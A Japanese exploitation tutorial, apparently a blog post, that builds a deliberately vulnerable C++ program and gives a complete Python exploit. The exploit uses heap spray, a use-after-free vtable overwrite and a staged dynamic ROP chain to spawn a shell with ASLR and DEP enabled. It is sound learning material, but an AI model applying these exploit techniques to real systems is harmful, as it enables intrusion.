「use-after-freeによるC++ vtable overwriteをやってみる」では、ASLRを無効にした条件下でシェル起動を行った。 ASLRが有効の場合、書き換えるvtableの関数ポインタが指すアドレスが推測可能でなければならないが、ヒープ領域に任意の数のオブジェクトを生成できる状況であれば、大量のオブジェクトでヒープ領域を埋め尽すことによりASLRを実質無効化することができる。 この方法はheap sprayとして知られている。 ここでは、use-after-freeからのC++ vtable overwriteに加えheap sprayを行うことで、ASLRおよびDEPが有効な条件下におけるシェル起動をやってみる。
環境
Ubuntu 14.04.1 LTS 64bit版
$ uname -a Linux vm-ubuntu64 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 14.04.1 LTS Release: 14.04 Codename: trusty $ g++ --version g++ (Ubuntu 4.8.2-19ubuntu1) 4.8.2 $ /lib/x86_64-linux-gnu/libc-2.19.so GNU C Library (Ubuntu EGLIBC 2.19-0ubuntu6.3) stable release version 2.19, by Roland McGrath et al.
脆弱性のあるプログラムを用意する
話を簡単にするため、あらかじめheap sprayおよびuse-after-freeが可能なプログラムコードを書いてみる。
// heapspray.cpp
#include <unistd.h>
#include <cstring>
class Dog {
char name[200];
public:
Dog(const char *name) { strncpy(this->name, name, sizeof(this->name)-1); }
virtual void speak() { const char *buf = ": hello.\n"; write(1, this->name, strlen(name)); write(1, buf, strlen(buf)); }
};
int create_string()
{
int size;
char *data;
read(0, &size, 4);
if (size > 0) {
data = new char[size];
read(0, data, size);
// delete[] is missed
}
return size;
}
int main()
{
char name[200] = {};
// create any number of heap objects
while (create_string() > 0) {
;
}
const char *buf = "enter the name of a dog.\n";
write(1, buf, strlen(buf));
read(0, name, sizeof(name));
Dog *dog = new Dog(name);
delete dog;
create_string();
// triggering use-after-free
dog->speak();
return 0;
}
create_string()関数は、4バイトのデータ長とデータを読み込みヒープに文字列を生成した後、そのデータ長を返す。
まずは、これをデータ長として0が指定されるまで繰り返す。
その後、インスタンスを生成してdelete、新たな文字列を生成した後、deleteされたインスタンスのメンバ関数が呼ばれることでuse-after-freeが成立する。
このプログラムコードを、ASLR、DEP有効でコンパイルしてみる。
$ sudo sysctl -w kernel.randomize_va_space=2 kernel.randomize_va_space = 2 $ g++ heapspray.cpp
次に、正常動作を確認するためのプログラムコードを書いてみる。
# test.py
import struct
from subprocess import Popen, PIPE
import time
def p32(x):
return struct.pack('<I', x)
p = Popen('./a.out', stdin=PIPE, stdout=PIPE)
buf = p32(0)
p.stdin.write(buf)
print "< %r" % buf
print "> %r" % p.stdout.readline().rstrip()
buf = 'pochi'
p.stdin.write(buf)
print "< %r" % buf
time.sleep(0.1)
buf = p32(0)
p.stdin.write(buf)
print "< %r" % buf
print "> %r" % p.stdout.readline().rstrip()
p.wait()
実行すると、次のようになる。
$ python test.py < '\x00\x00\x00\x00' > 'enter the name of a dog.' < 'pochi' < '\x00\x00\x00\x00' > 'pochi: hello.'
delete後の文字列生成を行っていないため、deleteされたインスタンスのメンバ関数が、delete前の状態のままで呼ばれていることが確認できる。
heap sprayをやってみる
コンパイルされた実行ファイルをディスアセンブルし、仮想関数の呼び出し箇所を調べてみる。
$ objdump -d a.out | c++filt 00000000004008ef <main>: 4008ef: 55 push rbp 4008f0: 48 89 e5 mov rbp,rsp ... 4009ad: e8 7e fd ff ff call 400730 <operator delete(void*)@plt> 4009b2: e8 e6 fe ff ff call 40089d <create_string()> 4009b7: 48 8b 85 18 ff ff ff mov rax,QWORD PTR [rbp-0xe8] # rax <- dog == vtable_ptr 4009be: 48 8b 00 mov rax,QWORD PTR [rax] # rax <- *vtable_ptr == vtable 4009c1: 48 8b 00 mov rax,QWORD PTR [rax] # rax <- vtable[0] == Dog::speak() 4009c4: 48 8b 95 18 ff ff ff mov rdx,QWORD PTR [rbp-0xe8] 4009cb: 48 89 d7 mov rdi,rdx 4009ce: ff d0 call rax ...
上の結果から、dogが置かれていた箇所がvtableを指すポインタとなっており、呼び出されるDog::speak()はそのvtableの最初のエントリとなっていることがわかる。
この結果をもとに、heap sprayを行いつつ、vtable overwriteを行うテストコードを書いてみる。
# test2.py
import struct
from subprocess import Popen, PIPE
import time
def p32(x):
return struct.pack('<I', x)
mm_brk = 0x602000
randomize_range = 0x2000000
spray_size = 0x10000
spray_count = randomize_range / spray_size
target_offset = 0x400
target = mm_brk + randomize_range + target_offset
p = Popen('./a.out', stdin=PIPE, stdout=PIPE)
# do heap spraying
for i in xrange(spray_count):
size = spray_size - 0x10 # subtruct the size of malloc chunk
buf = p32(size) + 'A' * size
p.stdin.write(buf)
buf = p32(0)
p.stdin.write(buf)
print "< %r" % buf
# send the stack buffer
print "> %r" % p.stdout.readline().rstrip()
buf = 'B' * 200
p.stdin.write(buf)
print "< %r" % buf
time.sleep(0.1)
# clobber the vtable pointer
buf = p32(200)
buf += struct.pack('<Q', target) * (200 // 8)
buf += 'C' * (200-len(buf))
p.stdin.write(buf)
print "< %r" % buf
print "> %r" % p.stdout.readline().rstrip()
p.wait()
mallocはサイズが一定の値を越える場合、heap領域を拡張するのではなくmmapを使って確保した領域にデータを置く。
そして、そのしきい値は標準で128 * 1024 = 0x20000となっている。
898 #ifndef DEFAULT_MMAP_THRESHOLD_MIN 899 #define DEFAULT_MMAP_THRESHOLD_MIN (128 * 1024) 900 #endif 1008 #ifndef DEFAULT_MMAP_THRESHOLD 1009 #define DEFAULT_MMAP_THRESHOLD DEFAULT_MMAP_THRESHOLD_MIN 1010 #endif
また、x64のヒープ領域のランダム化ビット数は13 bitとなっている。 以上を踏まえて、上のコードでは0x10000バイトの文字列を0x200回生成している。 さらに、それぞれの文字列がきりのいいアドレスに配置されるよう、実際に生成される文字列のデータ長は0x10000からmalloc chunkのサイズ、2ワードを引いたものとする。 そして、use-after-freeを用いて書き換えるvtable pointerには、どの位置にヒープ領域が配置されてもデータが存在することになるアドレスを指定する。
ulimitコマンドで不正終了した際にcoreファイルを生成するようにした上で、テストコードを実行してみる。
$ ulimit -c unlimited $ python test2.py < '\x00\x00\x00\x00' > 'enter the name of a dog.' < 'BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB' < '\xc8\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00' > '' $ ls core core
生成されたcoreファイルをもとに、gdbで終了時の状態を調べてみる。
$ gdb -q a.out core Reading symbols from a.out...(no debugging symbols found)...done. [New LWP 5126] Core was generated by `./a.out'. Program terminated with signal SIGSEGV, Segmentation fault. #0 0x00000000004009ce in main () (gdb) set disassembly-flavor intel (gdb) x/i $pc => 0x4009ce <main+223>: call rax (gdb) i r rax 0x4141414141414141 4702111234474983745 rbx 0x269a010 40476688 rcx 0xffffffffffffffff -1 rdx 0x269a010 40476688 rsi 0x269a010 40476688 rdi 0x269a010 40476688 rbp 0x7fff180709c0 0x7fff180709c0 rsp 0x7fff180708d0 0x7fff180708d0 r8 0x0 0 r9 0xd 13 r10 0x7fff18070690 140733596501648 r11 0x246 582 r12 0x4007b0 4196272 r13 0x7fff18070aa0 140733596502688 r14 0x0 0 r15 0x0 0 rip 0x4009ce 0x4009ce <main+223> eflags 0x10203 [ CF IF RF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0 (gdb) x/40gx $rsp 0x7fff180708d0: 0x0000000000400b1e 0x000000000269a010 0x7fff180708e0: 0x4242424242424242 0x4242424242424242 0x7fff180708f0: 0x4242424242424242 0x4242424242424242 0x7fff18070900: 0x4242424242424242 0x4242424242424242 0x7fff18070910: 0x4242424242424242 0x4242424242424242 0x7fff18070920: 0x4242424242424242 0x4242424242424242 0x7fff18070930: 0x4242424242424242 0x4242424242424242 0x7fff18070940: 0x4242424242424242 0x4242424242424242 0x7fff18070950: 0x4242424242424242 0x4242424242424242 0x7fff18070960: 0x4242424242424242 0x4242424242424242 0x7fff18070970: 0x4242424242424242 0x4242424242424242 0x7fff18070980: 0x4242424242424242 0x4242424242424242 0x7fff18070990: 0x4242424242424242 0x4242424242424242 0x7fff180709a0: 0x4242424242424242 0x95febd558f557600 0x7fff180709b0: 0x00007fff18070aa0 0x0000000000000000 0x7fff180709c0: 0x0000000000000000 0x00007f051aa91ec5 0x7fff180709d0: 0x0000000000000000 0x00007fff18070aa8 0x7fff180709e0: 0x0000000100000000 0x00000000004008ef 0x7fff180709f0: 0x0000000000000000 0x086127ddc51091ed 0x7fff18070a00: 0x00000000004007b0 0x00007fff18070aa0 (gdb) quit
意図した通り、ヒープ領域に配置した0x4141414141414141 (AAAAAAAA) をcallしようとして落ちていることがわかる。
つまり、ASLRが有効な条件下でも任意のアドレスを関数として呼び出すことができている。
また、スタックポインタrspが指すアドレスから2ワード先に、ローカル変数にセットされた文字列0x4242424242424242 (BBBBBBBB) が置かれていることがわかる。
エクスプロイトコードを書いてみる
上に示した結果から、vtable pointerの指す先を2ワード+call命令で積まれる1ワードの計3ワードをpopするROP gadgetに置き換えることで、ローカル変数として置かれたROPシーケンスを実行できることがわかる。 あとは、「x64でDynamic ROPによるASLR+DEP+RELRO回避をやってみる」で説明した方法などを用いることで、シェル起動を行うことができる。
最初に、実行ファイルからセクション情報およびディスアセンブル結果を出力しておく。
$ readelf -S a.out > dump.txt $ objdump -d a.out >> dump.txt
上で出力した情報をもとに、Dynamic ROPによりシェル起動を行うエクスプロイトコードを書くと次のようになる。
# exploit.py
import struct
from subprocess import Popen, PIPE
import time
def p32(x):
return struct.pack('<I', x)
mm_brk = 0x602000
randomize_range = 0x2000000
spray_size = 0x10000
spray_count = randomize_range / spray_size
target_offset = 0x400
target = mm_brk + randomize_range + target_offset
addr_pop3 = 0x400aee # objdump -d a.out
addr_csu_init1 = 0x400ae6 # objdump -d a.out
addr_csu_init2 = 0x400ad0 # objdump -d a.out
addr_got_write = 0x601058 # objdump -d a.out
addr_got_read = 0x601030 # objdump -d a.out
addr_got_libc_start = 0x601038 # objdump -d a.out
addr_leave_ret = 0x4008ed # objdump -d a.out
addr_stage = 0x601080 # readelf -S a.out (.bss)
"""
0000000000400a90 <__libc_csu_init>:
...
400ad0: 4c 89 ea mov rdx,r13
400ad3: 4c 89 f6 mov rsi,r14
400ad6: 44 89 ff mov edi,r15d
400ad9: 41 ff 14 dc call QWORD PTR [r12+rbx*8]
400add: 48 83 c3 01 add rbx,0x1
400ae1: 48 39 eb cmp rbx,rbp
400ae4: 75 ea jne 400ad0 <__libc_csu_init+0x40>
400ae6: 48 83 c4 08 add rsp,0x8
400aea: 5b pop rbx
400aeb: 5d pop rbp
400aec: 41 5c pop r12
400aee: 41 5d pop r13
400af0: 41 5e pop r14
400af2: 41 5f pop r15
400af4: c3 ret
0000000000400740 <read@plt>:
400740: ff 25 ea 08 20 00 jmp QWORD PTR [rip+0x2008ea] # 601030 <_GLOBAL_OFFSET_TABLE_+0x30>
400746: 68 03 00 00 00 push 0x3
40074b: e9 b0 ff ff ff jmp 400700 <_init+0x20>
0000000000400790 <write@plt>:
400790: ff 25 c2 08 20 00 jmp QWORD PTR [rip+0x2008c2] # 601058 <_GLOBAL_OFFSET_TABLE_+0x58>
400796: 68 08 00 00 00 push 0x8
40079b: e9 60 ff ff ff jmp 400700 <_init+0x20>
0000000000400750 <__libc_start_main@plt>:
400750: ff 25 e2 08 20 00 jmp QWORD PTR [rip+0x2008e2] # 601038 <_GLOBAL_OFFSET_TABLE_+0x38>
400756: 68 04 00 00 00 push 0x4
40075b: e9 a0 ff ff ff jmp 400700 <_init+0x20>
000000000040089d <_Z13create_stringv>:
...
4008ed: c9 leave
4008ee: c3 ret
"""
p = Popen('./a.out', stdin=PIPE, stdout=PIPE)
# do heap spraying
for i in xrange(spray_count):
size = spray_size - 0x10 # subtruct the size of malloc chunk
buf = p32(size)
buf += struct.pack('<Q', addr_pop3) * (size // 8) # stack shifting and go to stage 1
buf += 'A' * (size-len(buf))
p.stdin.write(buf)
buf = p32(0)
p.stdin.write(buf)
print "< %r" % buf
# stage 1: ROP stager
print "> %r" % p.stdout.readline().rstrip()
buf = struct.pack('<QQQQQQQQ', addr_csu_init1, 0, 0, 1, addr_got_read, 0x100, addr_stage, 0)
buf += struct.pack('<QQQQQQQQ', addr_csu_init2, 0, 0, addr_stage-8, 0, 0, 0, 0)
buf += struct.pack('<Q', addr_leave_ret)
p.stdin.write(buf)
print "< %r" % buf
print "[+] length of rop stager: %d" % len(buf)
time.sleep(0.1)
# clobber the vtable pointer
buf = p32(200)
buf += struct.pack('<Q', target) * (200 // 8)
buf += 'C' * (200-len(buf))
p.stdin.write(buf)
print "< %r" % buf
# stage 2: leak the address of libc_start_main()
buf = struct.pack('<QQQQQQQQ', addr_csu_init1, 0, 0, 1, addr_got_write, 8, addr_got_libc_start, 1)
buf += struct.pack('<QQQQQQQQ', addr_csu_init2, 0, 0, 1, addr_got_read, 0x100, addr_stage+0x80, 0)
buf += struct.pack('<Q', addr_csu_init2) # after the calling read(), here is overwritten by stage 3
p.stdin.write(buf)
# stage 3: leak the libc memory
data = p.stdout.read(8)
addr_libc_start = struct.unpack('<Q', data)[0]
libc_readsize = 0x160000
buf = struct.pack('<QQQQQQQQ', addr_csu_init1, 0, 0, 1, addr_got_write, libc_readsize, addr_libc_start, 1)
buf += struct.pack('<QQQQQQQQ', addr_csu_init2, 0, 0, 1, addr_got_read, 0x100, addr_stage+0x100, 0)
buf += struct.pack('<Q', addr_csu_init2) # after the calling read(), here is overwritten by stage 4
p.stdin.write(buf)
# stage 4: call execve() using dynamic ROP
data = p.stdout.read(libc_readsize)
nr_execve = 59 # grep execve /usr/include/x86_64-linux-gnu/asm/unistd_64.h
addr_pop_rax = addr_libc_start + data.index('\x58\xc3') # pop rax; ret
addr_pop_rdi = addr_libc_start + data.index('\x5f\xc3') # pop rdi; ret
addr_pop_rsi = addr_libc_start + data.index('\x5e\xc3') # pop rsi; ret
addr_pop_rdx = addr_libc_start + data.index('\x5a\xc3') # pop rdx; ret
addr_syscall = addr_libc_start + data.index('\x0f\x05') # syscall
addr_binsh = addr_libc_start + data.index('/bin/sh\x00') # "/bin/sh"
buf = struct.pack('<QQ', addr_pop_rax, nr_execve)
buf += struct.pack('<QQ', addr_pop_rdi, addr_binsh)
buf += struct.pack('<QQ', addr_pop_rsi, 0)
buf += struct.pack('<QQ', addr_pop_rdx, 0)
buf += struct.pack('<Q', addr_syscall)
p.stdin.write(buf)
time.sleep(0.1)
p.stdin.write('exec /bin/sh <&2 >&2\n')
p.wait()
上のコードの内容を簡単に説明すると次のようになる。
- heap sprayを行い、あるアドレスにpop命令を3回行うROP gadget(pop3 gadget)のアドレスを配置する
- use-after-freeからのC++ vtable overwriteにより、上のアドレスをcallする
- pop3 gadgetによりローカル変数にセットしたROPシーケンス(stage 1)が実行される
- stage 1としてROP stagerを行い、任意長のROPシーケンス(stage 2)を読み込む
- stage 2として
__libc_start_mainのGOTアドレスを書き出し、stage 3を読み込む - stage 3として
__libc_start_mainからのlibcメモリを読み出し、stage 4を読み込む - stage 4として読み出したlibcメモリをもとに、システムコールとして
execve("/bin/sh", NULL, NULL)を実行する
実際に、エクスプロイトコードを実行してみる。
$ python exploit.py < '\x00\x00\x00\x00' > 'enter the name of a dog.' < '\xe6\n@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x000\x10`\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x80\x10`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xd0\n@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x10`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xed\x08@\x00\x00\x00\x00\x00' [+] length of rop stager: 136 < '\xc8\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00' $ id uid=1000(user) gid=1000(user) groups=1000(user) $
上の結果より、ASLRおよびDEPが有効な条件下でheap sprayによりシェルが起動できていることが確認できた。 また、stage 1のROP stagerに必要なデータ長は136バイトであることがわかる。
スクリプトエンジンを利用したheap sprayと関連手法
上のプログラムコードではわざと任意の数の文字列を生成できるようにしたが、実際にはheap sprayはWebブラウザなどに搭載されたスクリプトエンジンを使って行われることが多い。 JavaScriptなどではスクリプトとして任意の数の文字列を生成することができるため、そこにuse-after-freeを合わせることで概ね上の内容と同じようなことができる。
また、ここではpop3 gadgetを使ってstack pivot(より正確にはesp lifting)を行ったため、ヒープ領域には単純にpop3 gadgetを指すアドレスを並べるだけで十分であった。
一方、xchg rax, rspなどレジスタの値を用いてstack pivotを行う場合、メモリページ内のデータの位置(すなわち、アドレスの下位12ビット)の調整が必要な場合がある。
たとえば、あらかじめ次の空き領域がページ境界ぴったりとなるようにヒープ領域を確保し、その境界を先頭としてページサイズの定数倍となる領域の確保を繰り返すことでアドレスの下位12ビットを固定することができる(実際にはmalloc chunkなどのメタデータのサイズも考慮に入れる必要がある)。
このような調整は「heap feng shui」と呼ばれる。
また、この場合のheap sprayを指して「precise heap spray」と呼ぶことがある。
他には、JavaScriptのスクリプトエンジンがJIT(Just-In-Time)コンパイルを行うことを利用し、ヒープ領域をnop相当の命令で塗り潰す「JIT spray」と呼ばれる手法もある。また、HTML5 CanvasやFlash(ActionScript)を使ってheap sprayを行う方法も知られている。
関連リンク
- ITセキュリティのアライ出し (11) PoCの内側 - Heap Spray(1) | マイナビニュース
- ITセキュリティのアライ出し (12) PoCの内側 - Heap Spray(2) | マイナビニュース
- Beyond Zero-day Attacks(4):Use After Freeとヒープスプレー - @IT
- Exploit writing tutorial part 11 : Heap Spraying Demystified | Corelan Team
- DEPS – Precise Heap Spray on Firefox and IE10 | Corelan Team
- FuzzySecurity | Part 8: Spraying the Heap [Chapter 1: Vanilla EIP] – Putting Needles in the Haystack
- FuzzySecurity | Part 9: Spraying the Heap [Chapter 2: Use-After-Free] – Finding a needle in a Haystack
- Exploit Monday: Targeted Heap Spraying – 0x0c0c0c0c is a Thing of the Past
- A1Logic Research: Visual Heap Spray
- Heap Feng Shui in JavaScript (Black Hat Europe 2007)
- The Art of Leaks: The Return of Heap Feng Shui (CanSecWest 2014)
- Interpreter Exploitation. Pointer Inference and JIT Spraying (Black Hat DC 2010)
- JIT-SPRAY Attacks & Advanced Shellcode (HITBSecConf 2010)
- HTML5 Heap Spray (EUSecWest 2012)
- Heap Spraying with Actionscript « Threat Research | FireEye Inc
- Exploitation of CVE-2009-1869